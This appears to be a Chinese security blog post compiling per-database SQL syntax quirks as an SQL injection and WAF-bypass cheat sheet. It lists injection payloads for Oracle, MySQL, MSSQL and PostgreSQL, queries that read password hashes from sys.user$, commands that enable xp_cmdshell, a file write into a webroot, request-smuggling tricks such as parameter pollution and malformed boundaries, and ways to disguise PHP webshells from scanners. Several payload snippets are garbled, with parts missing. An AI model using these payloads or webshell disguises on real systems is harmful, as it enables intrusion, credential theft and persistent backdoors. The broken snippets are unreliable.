干货-数据库语法整理及WAF绕过方式
作者:ruoli-s
文章来源:https://www.cnblogs.com/ruoli-s/p/15355611.html
关系型数据库:指采用了关系模型来组织数据的数据库。
直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织
当今主流的关系型数据库有:Oracle,Microsoft SQL Server,MySQL,PostgreSQL,DB2, Microsoft Access, SQLite,MariaDB
Oracle
Oracle特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
位置一
可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
可利用其他符号:
.
位置二
可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
位置三
可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
可利用其他符号:
+
、-
、%ad
位置四
可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
位置五
可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
可插入字符:
%24
、`%30-%ff
MySQL
MySql语法:
绕过逗号过滤
原码: ,,,; 绕过: ( )a ( )b ( )c ( )d;
MySql特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
位置一
可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。可利用注释符号:
/**/
、#
、--+
Select/**/*/**/from/**/[dbo].[Users]/**/where id =1
可利用数学运算以及数据类型:news_id=1.1,news_id=1E0,news_id=\N
位置二
可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。可利用注释符号:
/**/
、#
、--+
可利用括号 :union(select 1,2)
位置三
可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。可利用注释符号:
/**/
、#
、--+
可利用其他符号:
+
、-
、~
、!
、@
位置四
可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。可利用注释符号:
/**/
、#
、--+
可利用数学运算以及数据类型:union select user(),2.0from admin
union select user(),8e0from admin
union select user(),\Nfrom admin
位置五
可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。可利用注释符号:
/**/
、#
、--+
全局位
可利用 反引号 号:
union select 1 schema_name from `information_schema.SCHEMATA` limit 0,1)
可利用内联注释:
union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)
可利用
{}
号:id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
可利用
()
号:id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
MSSQL
MSSQL特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
位置一
可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。可利用注释符号:/**/
可利用数学运算以及数据类型:news_id=1.1,news_id=1e0,news_id=1-1
位置二
可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。可利用注释符号:/**/
可利用冒号:union:slect
位置三
可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。可利用注释符号:/**/
可利用其他符号:
+
、-
、~
、:
、.
位置四
可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。可利用注释符号:/**/
可利用其他字符:%80~%FF
位置五
可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。可利用注释符号:/**/
可利用冒号:union:select
可利用其他字符:
:
、.
、%80~%FF
Access
Access特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
位置一
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
、%16
位置二
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
位置三
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
可利用其他符号:
+
、-
、.
、=
位置四
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
位置五
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
PostgreSQL
数据库特性
Postgresql 字符串
Postgres 输入的所有字符串都被认为是 Unknown 类型
Unknown 类型有两种输入模式:
单引号转义模式;
美元符逃逸模式;
在单引号转义模式中允许使用前缀 E/U/B/X 表示转义字符串/Unicode 字符串/位串。
其中 E 表示进行 C 语言风格的转义;
U 表示进行 Unicode 转义,并支持自定义转义符;
B 和 X 代表后续跟随的是一个 bit 序列;
PostgreSQL特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
位置一
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
可利用其他符号:
.
、!
位置二
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
位置三
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
可利用其他符号:
+
、-
、.
、~
、@
位置四
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
位置五
可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
可插入字符:
%24
、%30-%ff
绕过方式:
另类字符集编码绕过
即使用其他不同的编码方式来配合绕过
编码网址:https://www.compart.com/en/unicode/charsets
另附编码方式对应的网站类型:
非关系型数据库
非关系型数据库都是针对某些特定的应用需求出现的,因此,对于该类应用,具有极高的性能。
主流代表为Redis, Amazon DynamoDB, Memcached,Microsoft Azure Cosmos DB和Hazelcast
如何判断各数据库
注意:
Oracle 只能用 substr ()不能使用 substring()
select substr('HelloWorld',5,3) value from dual; //返回结果:oWo
使用如下可判断是否为Oracle
(Select user from dual)>0
#
注释符为MySQL独有
SQL注入总结
绕过过滤规则
使用空字节%00等绕过WAF
过滤空格的情况,使用 tab 或%09 或/**/代替:
'%09o+r%091=(select%09cast((decode((ascii(substr((select%09user%09from%09dual),'1',1))),73,'1','yy'))%09as%09int)%09from%09dual)%09o+r%09'1'='1
过滤 and 和 or 的情况,在中间加一个被过滤字符、或使用&&和||代替
CONCAT('0x',HEX('c:\boot.ini'));
(CHaR(75)||CHaR(76)||CHaR(77))(使用+或||或 concat)
主流数据库注入案例
Oracle 注入
Time-based
utl_http.request(({INJECTION})) httpuri_type().getclob() dual abbb
Error-based
ordsys.ord_dicom.getmappingxpath({ HERE},,); ctxsys.ctx_query.chk_xpath(,,); utl_inaddr.get_host_nameaddress(({ HERE})); ctxsys.drithsx.sn(,( HERE))
按位数猜字符
bbb; dual decode(greatest(,),,,);
order by 注入
id,name usertest decode(,(( decode(({ injection}),{猜测的内容},,) dual) ),,); id,name usertest ((( decode(({ length() dual }),{猜测的内容},,) dual) ) );
Tips
获取账户信息
select name, password, astatus from sys.user$;
获取当前用户
select username from user_users/all_users/dba_users;
是否为 DBA 登录
select sys_context('USERENV','ISDBA') from dual;
获取当前用户名
sys_context(,) dual; sys_context(,) dual;
获取当前终端
userenv() dual; sys_context(,) dual; sys_context(,) dual; REPLACE(SUBSTR(sys_context(,),,),,) dual;
获取系统用户名
select sys_context('USERENV','OS_USER') from dual;
获取数据库名
select sys_context('USERENV','DB_NAME') from dual;
获取当前 IP
select sys_context('USERENV','IP_ADDRESS') from dual;
获取当前数据库
global_name global_name; sys.database_name dual; name v$database; instance_name v$instance;
获取表名
select table_name from all_tables where owner='xxx';
获取列名
owner,table_name,column_name all_tab_columns table_name; owner,table_name,column_name all_tab_cols table_name;
MySQL 注入
Time-based
Sleep() benchmark(,sha1())
Error-based
# 大整数溢出报错 id ( ( ())x); (updatexml(,concat(,( ()),),)); extractvalue(, concat(, ( table_name frominformation_schema.tables limit ))); # () rand() Id ( (selectcount(),concat(version(),(rand()))x frominformation_schema.tables x)a); Id ( () ( nullunion )x concat(( table_name frominformation_schema.tables limit ),(rand())));
Error-based / blind
# 注入 test1 (, if({substr((selectuser()),)},sleep(),) ); test1 (, asci(substr((),,))); test1 (, conv(hex(substr((@),)),,));
order by 注入
id,if(,,( information_schema.tables)); id,name test1 id,(( ())x);
Tips
写入文件
Select '0x123456789' into outfile '/webroot/evil.txt'
获取列名
select id,user,pwd from user where user='root' and left(pwd,0)= '';
MSSQL 注入
Time-based
;waitfor delay‘0:0:5’;
Error-based
?id=@@version;
Tips
判断是否开启 xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell');
开启 xp_cmdsell
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
PortgreSQL 注入
Time-based
Pg_sleep(5);
Error-based
注入语句示例
()o1: users id (\) ,@ no.: users id $\. sUE1n: users id a,banner v$version rownum s{{s: users id "{{" so,s: users id "%,"
WAF及绕过姿势
什么是WAF?
WAF全称Web application firewall,
WAF的主流形态有哪些?
云WAF:阿里云盾、腾讯网站管家、创宇盾、CloudFlare等
软件类:安全狗、云锁、360主机卫士、ModSecurity等
硬件类:启明星辰、绿盟、天融信、飞塔等
WAF的绕过角度:架构
、规则特性
、协议
0X01 架构层面绕过
1、 寻找真实IP
云WAF通过修改DNS解析隐藏了真实IP地址
查找域名解析记录
利用邮件发送功能来抓包,获取真实IP
2、 畸形数据包 BYPASS
GET型请求转POST型
Content-Length头长度大于4008
正常参数放在垃圾数据后面
0X02 规则特性绕过
1、IIS+ASP 绕过(%)
特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。
2、IIS+aspx 绕过(%u)
IIS服务器支持对于unicode的解析,如 s%u006c%u0006ect,IIS收到之后会被转换为select,但对于WAF层,可能还是 s%u006c%u0006ect 。
WAF:su006cu0006ect ; IIS: ;
a | %u0000,%u0041,%u0061,%u00aa,%u00e2 |
单引号 | %u0027,%u02b9,%u02bc,%u02c8,%u2032,%uff07,%c0%27,%c0%a7,%e0%80%a7 |
空白 | %u0020,%uff00,%c0%20,%c0%a0,%e0%80%a0 |
左括号 | %u0028,%uff08,%c0%28,%c0%a8,%e0%80%a8 |
右括号 | %u0029,%uff09,%c0%29,%c0%a9,%e0%80%a9 |
3、IIS+asp|aspx(HPP)
HPP是指HTTP参数污染 HTTP Parameter Pollution。当查询字符串多次出现同一个参数时,根据容器不同会得到不同的结果。
例如对于下面的urlhttp://www.xxx.com/HttpPar.php?str=hello
&str=world&str=xxser来说:php在取值时只输出最后一个参数,输出为:xsser
。而对于urlhttp://xxx.xxx.com/HttpParServlet?str=hello&str=world&str=xxser
来说,HttpParServlet.java取到的结果为hello,这就是HTTP参数污染。
WAF绕过示例:
PHP:News.php?idid username,password admin WAF取值为,而PHP取值为 username,password admin Asp.net:News.aspx?id;idsideidlideidcidt Asp.net则会将多个相同的参数项的值连接起来。
下表中列举了一些主流环境下的HPP情况以供查阅:
ASP.NET/IIS | All occurrences of the specific parameter | Par1=val1,val2 |
ASP/IIS | All occurrences of the specific parameter | Par1=val1,val2 |
PHP/Apache | Last occurrence | Par1=val2 |
PHP/Zeus | Last occurrence | Par1=val2 |
Jsp,Servlet/Apache Tomcat | First occurrence | Par1=val1 |
Jsp,Servlet/Oracle Application Server 10g | First occurrence | Par1=val1 |
Jsp,Servlet/Jetty | First occurrence | Par1=val1 |
IBM Lotus Domino | Last occurrence | Par1=val2 |
IBM HTTP Server | First occurrence | Par1=val1 |
mod_perl,libapreq2/Apache | First occurrence | Par1=val1 |
Perl CGI/Apache | First occurrence | Par1=val1 |
mod_perl,lib???/Apache | Becomes an array | ARRAY(0x8b9059c) |
mod_wsgi(Python)/Apache | First occurrence | Par1=val1 |
Python/Zope | Becomes an array | [‘val1’,‘val2’] |
IceWarp | Last occurrence | Par1=val2 |
AXIS 2400 | All occurrences of the specific parameter | Par1=val1,val2 |
Linksys Wireless-G PTZ Internet Camera | Last occurrence | Par1=val2 |
Ricoh Aficio 1022 Printer | First occurrence | Par1=val1 |
webcamXP PRO | First occurrence | Par1=val1 |
DBManAll | occurrences of the specific parameter | Par1=val1~~val2 |
4、Apache 2.x (畸形method)
某些WAF在处理数据的时候严格按照GET、POST等标准HTTP方法来获取数据,或者采用正则匹配的方式来处理数据,可能因为WAF和WEB服务解析的前后不对等绕过WAF。
示例如下,某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容:
5、Nginx+Lua WAF(突破参数限制)
WAF在实际环境中为防止拒绝服务式攻击 (denial of service attacks),默认最多解析前 100 个请求参数 (包括同名的),更多的参数将直接忽略。
默认情况下,通过ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,只能获取前100个参数
存在环境:Nginx+Lua WAF
6、PHP(变换请求方式)
假如php里使用$_REQUEST
获取参数,那么php获取参数的默认优先级是:$_COOKIE
> $_POST
> $_GET
。此时WAF层只过滤get/post,但没有过滤cookie,于是导致了绕过。
如下图,即使更换了HTTP请求方法,仍然完成了数据传递。
7、PHP + Apache (畸形的boundary)
PHP在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为----aaaa,123456,PHP解析的时候只识别了----aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS。
WebShell介绍及绕过
Webshell原理
Webshell的恶意性(Backdoor)表现在它的实现功能上,是一段带有恶意目的的正常脚本代码。
Webshell绕过
中国菜刀
接收的参数内部混淆加密过WAF Content-Type:application/x-www-form-urlencoded
修改User-Agent
在服务器端解密的webshell
XISE菜刀
URLdecode
SpiderEval
传递的参数中chr()+base64
蚁剑
base64 payload前增加几个字符
打破4的倍数使base64无法正常解码
生成一个随机的字符加在原始payload之前,再在一句话客户端忽略第一个字符
冰蝎
Get形式发起带密码的握手请求
客户端利用AES加密,发送至服务端
服务端收到之后先进行AES解密
服务端利用explode函数将拆分为一个字符串数据
可变函数方式调用索引为0的数组元素
PHP一句话绕过
1. 字符串变形绕过
字符串变形多数用于BYPASS安全狗,相当对于D盾,安全狗更加重视"形" 一个特殊的变形就能绕过安全狗
ucwords() ucfirst() trim() substr_replace() substr() strtr() strtoupper() strtolower() strtok() str_rot13()
substr_replace() 变形绕过
= substr_replace(,,); ([]);
2. 定义函数绕过
定义一个函数把关键词分割达到bypass效果
{ ([]); } kdog(assert); { assert(); } kdog([]);
3. 回调函数绕过
call_user_func_array() call_user_func() array_filter() array_walk() array_map() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk() array_walk_recursive()
回调函数大部分已经被安全软件加入全家桶套餐,所以找到一个生僻的不常用的回调函数来执行,比如:
forward_static_call_array(assert,([]));
4. 回调函数变形绕过
因为前面总结出众多回调函数已经被加入豪华套餐,所以可以定义个函数调用。
{ array_map(,); } test(assert,([]));
5. 特殊字符干扰
= []; = ; (.=);
6. 数组绕过
= substr_replace(,,); = [=>([])];
7. 编码绕过
简单的base64_decode,其中因为正则匹配可以加入一些下划线干扰
= base64_decode(); ([]);
总结
所有的Bypass都是在随着WAF的升级而不断的变化,没有唯一固定的绕过方式!